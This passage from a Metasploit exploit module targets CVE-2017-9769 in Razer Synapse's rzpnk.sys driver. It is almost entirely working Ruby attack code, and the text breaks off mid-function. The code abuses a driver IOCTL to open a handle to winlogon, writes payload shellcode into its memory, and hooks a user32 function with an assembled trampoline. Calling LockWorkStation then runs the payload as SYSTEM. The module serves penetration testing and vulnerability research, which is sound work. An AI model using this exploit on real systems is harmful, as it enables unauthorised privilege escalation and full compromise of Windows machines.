The vulnerability lies in a specific IOCTL handler in the rzpnk.sys driver that passes a PID specified by the user to ZwOpenProcess. This can be issued by an application to open a handle to an arbitrary process with the necessary privileges to allocate, read and write memory in the specified process. This exploit leverages this vulnerability to open a handle to the winlogon process (which runs as NT_AUTHORITY\SYSTEM) and infect it by installing a hook to execute attacker controlled shellcode. This hook is then triggered on demand by calling user32!LockWorkStation(), resulting in the attacker's payload being executed with the privileges of the infected winlogon process. In order for the issued IOCTL to work, the RazerIngameEngine.exe process must not be running. This exploit will check if it is, and attempt to kill it as necessary. The vulnerable software can be found here: https://www.razerzone.com/synapse/. No Razer hardware needs to be connected in order to leverage this vulnerability. This exploit is not opsec-safe due to the user being logged out as part of the exploitation process. }, 'Author' => 'Spencer McIntyre', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-9769'], ['URL', 'https://warroom.securestate.com/cve-2017-9769/'] ], 'Platform' => 'win', 'Targets' => [ # Tested on (64 bits): # * Windows 7 SP1 # * Windows 10.0.10586 [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => 20 }, 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => 'Mar 22 2017')) end def check # Validate that the driver has been loaded and that # the version is the same as the one expected client.sys.config.getdrivers.each do |d| if d[:basename].downcase == 'rzpnk.sys' expected_checksum = 'b4598c05d5440250633e25933fff42b0' target_checksum = client.fs.file.md5(d[:filename]) if expected_checksum == Rex::Text.to_hex(target_checksum, '') return Exploit::CheckCode::Appears else return Exploit::CheckCode::Detected end end end Exploit::CheckCode::Safe end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end if check == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end if session.platform != 'windows' fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session') elsif session.arch != ARCH_X64 fail_with(Failure::NoTarget, 'This exploit only supports x64 Windows targets') end pid = session.sys.process['RazerIngameEngine.exe'] if pid # if this process is running, the IOCTL won't work but the process runs # with user privileges so we can kill it print_status("Found RazerIngameEngine.exe pid: #{pid}, killing it...") session.sys.process.kill(pid) end pid = session.sys.process['winlogon.exe'] print_status("Found winlogon pid: #{pid}") handle = get_handle(pid) fail_with(Failure::NotVulnerable, 'Failed to open the process handle') if handle.nil? vprint_status('Successfully opened a handle to the winlogon process') winlogon = session.sys.process.new(pid, handle) allocation_size = payload.encoded.length + HOOK_STUB_MAX_LENGTH shellcode_address = winlogon.memory.allocate(allocation_size) winlogon.memory.protect(shellcode_address) print_good("Allocated #{allocation_size} bytes in winlogon at 0x#{shellcode_address.to_s(16)}") winlogon.memory.write(shellcode_address, payload.encoded) hook_stub_address = shellcode_address + payload.encoded.length result = session.railgun.kernel32.LoadLibraryA('user32') fail_with(Failure::Unknown, 'Failed to get a handle to user32.dll') if result['return'] == 0 user32_handle = result['return'] # resolve and backup the functions that we'll install trampolines in user32_trampolines = {} # address => original chunk user32_functions = ['LockWindowStation'] user32_functions.each do |function| address = get_address(user32_handle, function) winlogon.memory.protect(address) user32_trampolines[function] = { address: address, original: winlogon.memory.read(address, 24) } end # generate and install the hook asm hook_stub = get_hook(shellcode_address, user32_trampolines) fail_with(Failure::Unknown, 'Failed to generate the hook stub') if hook_stub.nil? # if this happens, there was a programming error fail_with(Failure::Unknown, 'The hook stub is too large, please update HOOK_STUB_MAX_LENGTH') if hook_stub.length > HOOK_STUB_MAX_LENGTH winlogon.memory.write(hook_stub_address, hook_stub) vprint_status("Wrote the #{hook_stub.length} byte hook stub in winlogon at 0x#{hook_stub_address.to_s(16)}") # install the asm trampolines to jump to the hook user32_trampolines.each do |function, trampoline_info| address = trampoline_info[:address] trampoline = Metasm::Shellcode.assemble(Metasm::X86_64.new, %{ mov rax, 0x#{address.to_s(16)} push rax mov rax, 0x#{hook_stub_address.to_s(16)} jmp rax }).encode_string winlogon.memory.write(address, trampoline) vprint_status("Installed user32!#{function} trampoline at 0x#{address.to_s(16)}") end session.railgun.user32.LockWorkStation() session.railgun.kernel32.CloseHandle(handle) end def get_address(dll_handle, function_name) result = session.railgun.kernel32.GetProcAddress(dll_handle, function_name) fail_with(Failure::Unknown, 'Failed to get function address') if result['return'] == 0 result['return'] end # this is where the actual vulnerability is leveraged def get_handle(pid) handle = open_device("\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') return nil unless handle vprint_status('Successfully opened a handle to the driver') buffer = [pid, 0].pack(target.arch.first == ARCH_X64 ?
